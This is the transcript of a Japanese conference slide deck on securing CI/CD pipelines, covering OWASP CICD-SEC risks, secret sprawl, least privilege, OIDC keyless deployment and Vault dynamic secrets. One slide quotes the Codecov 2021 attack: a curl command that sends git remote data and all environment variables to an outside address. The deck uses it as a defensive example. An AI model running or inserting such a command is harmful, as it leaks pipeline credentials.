Upgrade to Pro — share decks privately, control downloads, hide ads and more …

自分のデータは自分で守る - あなたのCI/CDパイプラインをセキュアにする処方箋

自分のデータは自分で守る - あなたのCI/CDパイプラインをセキュアにする処方箋

CI/CD Conference 2023で発表した資料です。セッション動画の視聴はこちら
https://event.cloudnativedays.jp/cicd2023/talks/1760

Kazuto Kusama

March 22, 2023
Tweet

More Decks by Kazuto Kusama

Other Decks in Technology

Transcript

  1. Kazuto Kusama @jacopen Senior Solutions Engineer @HashiCorp Japan Co-Chair @CloudNative

    Days Organizer @PaaSJP Organizer @Platform Engineering Meetup
  2. 問題の本質はどこにあるか • SaaSでセキュリティインシデントが起きたことは事実として・・・ ◦ 何故シークレットが漏れて問題になったか ▪ シークレットを持たせる必要はあったか ▪ 漏れても影響の少ないシークレットに出来なかったか ▪

    漏れても問題がないように出来なかったか ◦ 漏れないような管理は本当に不可能だったのか このあたりの深掘りが出来ていないと、結局乗り換え先でまたインシ デントが起きたときに同じことを繰り返す
  3. … より強いレベ ルの権限を取 得 Privilege Escalation Credential Access … アカウントの

    ユーザ名やパス ワードを盗難 Lateral Movement … 自社の環境内 で横断的な活動 … データを盗難 Exfiltration Initial Access アタッカーが自 社のネットワー クにアクセス サイバー攻撃の構図 (Mitre ATT&CK Framework)
  4. … より強いレベ ルの権限を取 得 Privilege Escalation Credential Access … アカウントの

    ユーザ名やパス ワードを盗難 Lateral Movement … 自社の環境内 で横断的な活動 … データを盗難 Exfiltration Initial Access アタッカーが自 社のネットワー クにアクセス サイバー攻撃の構図 (Mitre ATT&CK Framework)
  5. CICD-SEC-2 不十分な ID およびアクセス管理 過度に寛容な ID Dev Code Repository CI

    CD 開発環境 ステージング 本番 なんでも出来るID クラウド上でやりたい 放題
  6. CICD-SEC-2 不十分な ID およびアクセス管理 過度に寛容な ID 対策: 最小権限の原則 Dev Code

    Repository CI CD 開発環境 ステージング 本番 Deliveryに必要な最小 権限のみを付与する。 違うパイプラインには 違う権限を付与する
  7. Dev Code Repository CI CD 開発環境 ステージング 本番 誤ってパブリックリポ ジトリにfork

    悪意のある内部の人間 がリポジトリを閲覧 (検出が困難) サプライチェーン攻撃 でリポジトリ内の シークレットを取得
  8. Kubernetesの場合特に注意 gitops 安易なGitOpsの実現のため、SecretをManifest Repositoryに入れてしまう apiVersion: v1 kind: Secret metadata: name:

    creds data: password: cEBzc3cwcmQ= username: YWRtaW4= ただのbase64 エンコードなので、 平文と同じ
  9. CICD-SEC-7 安全でないシステム構成 システム構成が安全でないシステム Dev Code Repository CI CD 開発環境 ステージング

    本番 様々な場所にキーが散ら ばって管理されている Secret Sprawl デフォルト設定のまま シークレットストアに 管理されている
  10. その置き場所、安全ですか? 置き場所が散らばることによるリスク • 散らばったシークレットを管理していくことは困難 • 有効期限の長いシークレットが放置されてしまう • アクセス制御やロギングが備わっていない場所も多い ◦ 有効期限が無限に設定されているクラウドのシークレットが、アクセス制御やログ

    が取られていない環境から盗まれたとしたら、どうやって気づく? シークレットストアをデフォルト設定で使うリスク • デフォルト設定では細かなアクセス制御がなされてないことが多い • ブランチや環境が異なっても同じシークレットにアクセスが出来てしまう
  11. CICD-SEC-7 安全でないシステム構成 システム構成が安全でないシステム 対策: 適切な構成 Dev Code Repository CI CD

    開発環境 ステージング 本番 適切なチームと ロールの設定 GitHub Actions Secretsの利用 Deployment Environments の活用
  12. CICD-SEC-3 依存チェーンの悪用 CICD-SEC-4 有害なパイプライン実行 CICD-SEC-5 不十分なパイプラインベースのアクセス制御 Dev Code Repository CI

    CD 開発環境 ステージング 本番 悪意のある ForkからのPR 不十分なアクセス 制御による改変 サプライチェーン への攻撃
  13. 実際の攻撃事例 Codecov(2021): カバレッジ計測のためのツールに、以下のようなコードが追加 される curl -sm 0.5 -d “$(git remote

    -v)<<<<<< ENV $(env)” https://IPADDRESS/upload/v2 || true Gitのリポジトリと環境変数が送信されるようになっていた => 環境変数内にシークレットが含まれていた場合は漏洩してしまう。 セルフホストのCIツールやRunnerを使っていても同様に影響を受けてしまう
  14. CICD-SEC-3 依存チェーンの悪用 CICD-SEC-4 有害なパイプライン実行 CICD-SEC-5 不十分なパイプラインベースのアクセス制御 対策: Dev Code Repository

    CI CD 開発環境 ステージング 本番 適切なアクセス制御 適切なレビュー 実行環境の隔離 SBOM
  15. CICD-SEC-3 依存チェーンの悪用 CICD-SEC-4 有害なパイプライン実行 CICD-SEC-5 不十分なパイプラインベースのアクセス制御 対策: CIとCDの環境を分離 Dev Code

    Repository CI CD 開発環境 ステージング 本番 CDは本番環境に直接の 権限を持っているた め、分離しておく CIで必要な権限だけを 持たせる
  16. CICD-SEC-6 不十分な認証情報衛生 ローテーションされない認証情報 Dev Code Repository CI CD 開発環境 ステージング

    本番 2年前 1年前 2年前 3年前 1年前 『壊れていない限りは手を入れなく て良い』の考えのもと、同じシーク レットを使い続けてしまう 結果として有効なキーを所持する人 ・システムが増え続け、漏洩の危険 性が飛躍的に高まっていく。
  17. CICD-SEC-6 不十分な認証情報衛生 ローテーションされない認証情報 対策: キーレスの活用 Dev Code Repository CI CD

    開発環境 ステージング 本番 クラウド側とOIDCで 信頼関係を確立し、 静的なキー無しでも デプロイできるようにする
  18. CICD-SEC-6 不十分な認証情報衛生 ローテーションされない認証情報 対策: 動的シークレットの実践 Dev Code Repository CI CD

    開発環境 ステージング 本番 必要な時に、必要なキーを ジャストインタイムで発行 させる。 不要になったら、明示的 or 自動的に削除する
  19. シークレットエンジン AWS Secret Engine / Azure Secret Engine / Google

    Cloud Secret Engine 各クラウドプロバイダーのアクセスキーを動的に作成できる仕組み。AWSなら IAMキー、Google CloudならService Accountなど Database Secret Engine さまざまなデータベースのユーザー/パスワードを動的に作成出来る。 MySQL,PostgreSQL,Oracle,SQL Server, MongoDB, Cassandra, Elasticsearch, Redisなどなど SSH Secret Engine OTP認証やSSH証明書認証を利用してSSHの認証を動的に行う Vault Plugin for Gitlab Project Access Token (community) Vault Plugin Secrets GitHub (community) GitHubやGitLabのTokenを動的に作成する